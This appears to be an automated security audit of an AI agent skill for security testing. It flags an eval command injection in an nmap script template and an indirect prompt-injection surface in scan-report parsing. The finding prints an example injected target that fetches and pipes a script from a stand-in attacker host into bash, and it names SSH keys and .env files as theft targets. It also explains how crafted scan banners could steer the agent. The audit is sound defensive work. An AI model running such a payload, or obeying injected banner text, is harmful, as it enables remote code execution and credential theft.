performing-security-testing
Fail
Audited by Gen Agent Trust Hub on May 8, 2026
Risk Level: HIGHCOMMAND_EXECUTION
Full Analysis
- [COMMAND_EXECUTION]: The shell script
assets/nmap_scan_template.shcontains a severe command injection vulnerability. On line 132, it uses theevalcommand to execute theNMAP_COMMANDstring. This string is constructed using the$TARGETvariable (line 126), which is assigned directly from the first command-line argument (TARGET="$1"on line 124) without any sanitization, escaping, or validation. An attacker could exploit this by providing a target string containing shell metacharacters, such as127.0.0.1; curl http://attacker.com/shell.sh | bash, leading to arbitrary code execution. - [DATA_EXFILTRATION]: While no explicit exfiltration logic was found, the command injection vulnerability in
assets/nmap_scan_template.shcan be used to harvest environment variables, local files (like~/.ssh/id_rsaor.envfiles), or cloud metadata, and transmit them to an external server. - [PROMPT_INJECTION]: The skill is designed to automate the parsing of security scan reports from tools like Nmap and Nessus. This represents an indirect prompt injection surface where a malicious target could return specially crafted service headers or version strings that, when parsed by the agent, influence its behavior or report generation. * Ingestion points:
scripts/report_parser.py(referenced in scripts/README.md). * Boundary markers: Absent in the provided templates. * Capability inventory: File read/write, Bash execution (specified inSKILL.md). * Sanitization: No evidence of input sanitization or output encoding was found in the provided files.
Recommendations
- AI detected serious security threats
Audit Metadata